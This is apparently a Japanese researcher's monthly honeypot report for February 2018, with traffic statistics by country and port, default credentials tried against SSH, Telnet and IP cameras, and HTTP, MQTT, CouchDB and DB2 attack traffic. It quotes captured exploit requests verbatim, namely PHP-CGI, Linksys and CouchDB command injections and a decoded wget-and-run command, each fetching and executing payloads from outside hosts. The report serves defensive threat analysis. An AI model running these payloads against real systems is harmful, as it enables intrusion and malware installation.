ハニーポット観察記録 2018年2月
2月末に@morihi_socさん主催のハニーポッター技術交流会に参加させていただきました。
2時間という短い時間でのLTでしたが、内容がとても濃く、大変有意義な交流会でした。
次回は発表者としての参加を見据え、さらなる精進に励みたいと思います。
資料についてはconnpassのページからたどれますので、気になった方はご参照いただければと思います。
hanipo-tech.connpass.com
それでは今回の記事でもハニーポットで観測した攻撃情報をまとめて公開したいと思います。
なお今回のまとめでは、ハニーポットへの攻撃手法のほうを重点的に書いていきます。配置されたファイルについては別の機会でまとめたいと思います。
全体のアクセス状況
まずはハニーポット全体でのアクセス状況を見ていきたいとおもいます。アクセス元(国)
順位 | アクセス元(国) | 2月 | 1月 | 前月比 | 前月順位 |
---|---|---|---|---|---|
1 | Russia | 3122438 | 1142777 | 273% | 1 |
2 | France | 488897 | 61562 | 794% | 11 |
3 | Netherlands | 350739 | 142741 | 246% | 4 |
4 | United States | 271081 | 92947 | 292% | 6 |
5 | Canada | 157822 | 2464 | 6405% | 29 |
6 | Brazil | 129037 | 85559 | 151% | 7 |
7 | Italy | 105323 | 24305 | 433% | 5 |
8 | China | 99409 | 215048 | 46% | 3 |
9 | Seychelles | 83991 | 2543 | 3303% | 28 |
10 | Germany | 80276 | 6614 | 1214% | 22 |
14 | Republic of Korea | 44443 | 626879 | 7% | 2 |
今回はマップではなく、表であらわしてみました。
アクセス元の国は変わらずロシアからのアクセスが多い傾向でした。前月から新たにランクインした国として、フランス、カナダ、セーシェル、ドイツが入りました。前月比で見ると10倍~60倍程度増加しており、何らかの兆候があるのではと思います。
また韓国についてはピョンチャンオリンピック開催時期でもあったため、個別に出してみました。今月は政治的問題が前月と比べ落ち着いたことによる影響なのか、アクセス数は激減している状況でした。(韓国からのアクセスは少なかったですが、おそらく韓国へのアクセスは結構あったのではと思います。)
アクセスポート
アクセスポートの傾向としては変わらずリモートシェル、リモートコンソール系の通信が多い傾向でした。
今回新たにランクイン(トップ20)したものとしては、1883/tcpと5984/tcpがありました。1883/tcpについてはMQのサービスポートのようです。また5984/tcpはCouchDBのサービスポートで、先日話題になった脆弱性を突く通信と思われます。
アクセスポートに関しても、韓国からのものを取り出して見ました。
若干の違いはありますが、上位はやはりリモートアクセス系サービスへの通信が多いです。また変り種としては、20547/tcp宛のPLCへの通信や、47808/tcp宛のビル管理システムのBACnetというサービスへの通信がありました。
SSH・TELNET(Cowrie)
次にSSH、TELNETへのアクセスについてです。使用されたユーザ名・パスワード
SSH、TELNETのアクセスに使用されたユーザ名(左)とパスワード(右)のタグクラウドになります。
上記のうち、特に気になったものを調べてみました。
S2fGqNFs、OxhlwSG8
HiSiliconというメーカのIPカメラの初期パスワードのようです。上記のパスワードを調査している過程で、以下のGithubのページを見つけました。プロトコルごとに、IoT機器やDBなどの初期パスワードがまとめられて掲載されています。このようなサイトは探すと結構みつかり、危険性を知らせるために公開されているのだとは思うのですが攻撃者が使うとなると便利ツールの1つになってしまうのでは、と思うところがあります。ここがセキュリティの難しいところですね・・・
github.com
HTTP(Glastopf)
次にHTTPサービスへのアクセスについてです。リクエストランキング
GETリクエスト
リクエスト | 回数 |
---|---|
GET / | 270 |
GET /server-status?auto | 66 |
GET /stub_status | 64 |
GET /status?full&json | 64 |
GET /pma/scripts/setup.php | 28 |
GETリクエストの内容です。上位はやはりHTTPサーバの状態を確認するもののようです。また5位にはPHPMyAdminのセットアップページへのアクセスがランクインしました。(5位までしか表示していませんが、実際には同様のアクセスが多くきています。)
POSTリクエスト
リクエスト | 回数 | 補足 |
---|---|---|
POST /index | 7 | |
POST /zabbix/jsrpc.php | 4 | 統合監視システムZabbixのSQLインジェクション、リモートコード実行の脆弱性を突く通信*1 |
POST /getcfg.php | 4 | D-Link DIR-645のリモートからコマンドを実行できる脆弱性を突くための通信*2 |
POST //cgi-bin/php?%2D%64(snip) | 4 | Apache Magica攻撃を行う通信*3 |
POST /hndUnblock.cgi | 2 | Linksysのルータ(?)のリモートからコマンドを実行できる脆弱性を突くための通信 |
POSTリクエストの内容についても確認してみます。GETに比べアクセス数はだいぶ少ないです。上記の通信のうち、いくつかピックアップして詳細を確認したいとおもいます。
POSTリクエストで送られてくるデータ
cgi-bin/phpへのアクセス
POST //cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n hxxp/1.1 Content-Length: 336 Content-Type: application/x-www-form-urlencoded Host: -c <? system("cd /tmp;killall -9 perl;wget hxxp://211.23.165[.]65/test.tgz;tar zxvf test.tgz;rm -rf test.tgz;cd .test-unix;./run;./x;curl -O hxxp://211.23.165[.]65/test.tgz;tar zxvf test.tgz;rm -rf test.tgz;cd .test-unix;./run;./x;fetch hxxp://211.23.165[.]65/test.tgz;tar zxvf test.tgz;rm -rf test.tgz;cd .test-unix;./run;./x;rm -rf run* "); ?>
Apache Magica攻撃により、外部からコマンドを実行させようとしています。何がダウンロードされるかについては、調査時点(3月7日)では不明(404エラーでリンク切れ)でした。
※php?以降は実際にはURLエンコードされていました。
hndUnblock.cgiへのアクセス
POST /hndUnblock.cgi HTTP/1.1 Accept: */* Content-Length: 384 Content-Type: application/x-www-form-urlencoded Host: [masked] User-Agent: Wget(linux) submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;rm -f nmlt1.sh;wget -O nmlt1.sh hxxp://domstates[.]su/nmlt1.sh;chmod +x nmlt1.sh;./nmlt1.sh`&StartEPI=1
外部のシェルスクリプトをダウンロードし実行させようとしています。シェルスクリプトはダウンローダになっており、別のペイロードをダウンロード・実行させるよう記載されておりました。実際にダウンロードされるペイロードは以下の3つでした。
※上記のコマンド部分は実際にはURLエンコードされていました。
※不審なURLは不慮の直接アクセスを避けるよう編集しています。
VirusTotal
VirusTotal
VirusTotal
DB・ファイル共有系(Dionaea)
Dionaeaで観測した気になる通信を記載します。1833/tcp
記事冒頭でも記載しましたが、今月アクセスポートとして新たにランクインしたポートになります。このポートはMessage Quereのサービスが使う予約済みのポートです。
攻撃の概要については、以下の記事が参考になりそうです。
www.trendmicro.com
通信元については、9割以上が1箇所からの通信でした。(アメリカリージョンのAWS)
通信内容についても確認してみました。
stream = [('in', b'\x100\x00\x04MQTT\x04\x02\x00\x0a\x00$38dcb8da-4cb3-4d7c-8ce8-6702888dd672'), ('in', b'\x82X\x00\x01\x00\x01#\x00\x00\x19$SYS/broker/clients/total\x00\x00\x1d$SYS/broker/messages/received\x00\x00\x13$SYS/broker/version\x00'), ('in', b'\xc0\x00'), ('in', b'\xe0\x00')]
上記についてはおそらく攻撃前の偵察活動で、MQソフトウェアの情報収集を行っているものと推測しています。この後、目的のバージョンであれば、継続して攻撃が続行するのだと思います。
その他のプロトコル(Honeytrap)
Honeytrapで観測した気になる通信を記載します。Honeytrapが受け付け、記録したアクセスのポート別のランキングは以下のようになっていました(アクセス数トップ10)。
順位 | TCPポート | アクセス回数 |
---|---|---|
1 | 81 | 3838 |
2 | 52869 | 1328 |
3 | 110 | 1001 |
4 | 5984 | 612 |
5 | 8082 | 533 |
6 | 8545 | 496 |
7 | 502 | 423 |
8 | 139 | 364 |
9 | 60001 | 324 |
10 | 8079 | 308 |
以下、気になったログを確認していきたいと思います。
81/tcp
ランキング1位の81/tcpへのアクセスです。約3800件のアクセスのうちおよそ3000件は以下のようなBasic認証をブルートフォースする通信でした。
GET / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Accept: */* Authorization: Basic YWRtaW46MDAwMDAx User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 DNT: 1 Host: [masked]:81
UserAgentはすべて同じもので、認証部分は以下のような文字列が1300種類ほどありました。
root/camera
root:vstarcam
user:kinglong
Admin:123456
Adminstrator:123456
administrator:111111
また上記の通信は、30分間程度の間で行われていたので、何らかのツールを用いて通信しているものと考えられます。
5984/tcp
冒頭でも記載しましたが、今月ランクインした通信先です。こちらはApache Couch DBというOSSのDBの脆弱性を突いた通信のようです。
blog.trendmicro.co.jp
通信内容についても確認してみました。主に以下の2パターンの通信がありました。
PUT /_users/org.couchdb.user:topkek112 HTTP/1.1 Host: [masked]:5984 User-Agent: Go-http-client/1.1 Content-Length: 98 Content-Type: application/json Accept-Encoding: gzip Connection: close { "type": "user", "name": "topkek112", "roles": ["_admin"], "roles": [], "password": "topkek112" }
PUT /_config/query_servers/cmd HTTP/1.1 Host: [masked]:5984 User-Agent: Go-http-client/1.1 Content-Length: 98 Authorization: Basic dG9wa2VrMTEyOnRvcGtlazExMg== Content-Type: application/json Accept-Encoding: gzip Connection: close "/bin/bash -c '{echo,Y3VybCBodHRwOi8vOTQuMjUwLjI1My4xNzgvbG9nbzYuanBnfHNo}|{base64,-d}|{bash,-i}'"
通信内容としてはTrend Microさんのほうで公開している内容と全く同じものでした。またアクセス元は5984/tcp宛通信のうちおよそ95%がロシアの1箇所(1IP)から来ていました。さらにペイロードのダウンロード元(echoのところをBase64デコードすると94.250.253[.]178になります)もロシアでしたが、何か関連があるのでしょうか。
60001/tcp
IBMのDB2というソフトウェアが使うポートのようです。こちらへのアクセスについては応答確認と、数種類のコマンド実行を行うようなものがありました。
コマンド実行するものはすべてURLエンコードされており、wgetコマンドで外部からペイロードをダウンロードし実行するものと、unameコマンドを実行(おそらく偵察活動)するものの2種類がありました。
以下は記録された通信の1つです。
GET /shell?%77%67%65%74%20%2D%50%20%2F%74%6D%70%20%68%74%74%70%3A%2F%2F%61%72%6D%2E%74%66%31%32%33%2E%63%6C%75%62%3A%31%32%33%34%2F%74%66%61%72%3B%63%68%6D%6F%64%20%37%37%37%20%2F%74%6D%70%2F%74%66%61%72%3B%2F%74%6D%70%2F%74%66%61%72 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: */* Accept-Language: zh-cn Referer: http://[masked]:60001/shell?%77%67%65%74%20%2D%50%20%2F%74%6D%70%20%68%74%74%70%3A%2F%2F%61%72%6D%2E%74%66%31%32%33%2E%63%6C%75%62%3A%31%32%33%34%2F%74%66%61%72%3B%63%68%6D%6F%64%20%37%37%37%20%2F%74%6D%70%2F%74%66%61%72%3B%2F%74%6D%70%2F%74%66%61%72 User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: [masked]:60001
上記通信のURLエンコード部分をデコードすると、以下のようになり、外部からコマンド実行させようとすることがわかります。
wget -P /tmp http://arm.tf123[.]club:1234/tfar;chmod 777 /tmp/tfar;/tmp/tfar
なおダウンロード元については10種類程度ありましたが、そのうちの数種類(上記のダウンロード元も含む)はすでにドメインとIPアドレスが紐付いておらず、実際には何もダウンロードされないようなものもありました。
※Passive Totalで調べたところ、以下のように2017年6月には使えないドメインになっていました。
これについては、攻撃者が入手したツールが古い状態のものでメンテナンスされておらず、それを知らずに使用し続けているのではと推察しています。
最後に
今回は配置されるファイルよりも方法について重点的に確認していきました。プロトコルごとに本当にさまざまな攻撃手法があるんだなぁとつくづく思います。今後は気になった通信は随時見ていき、月1回の記事ではサマリ程度に書いていこうかなと思います。(新たな攻撃をタイムリーに出すこともできますので。)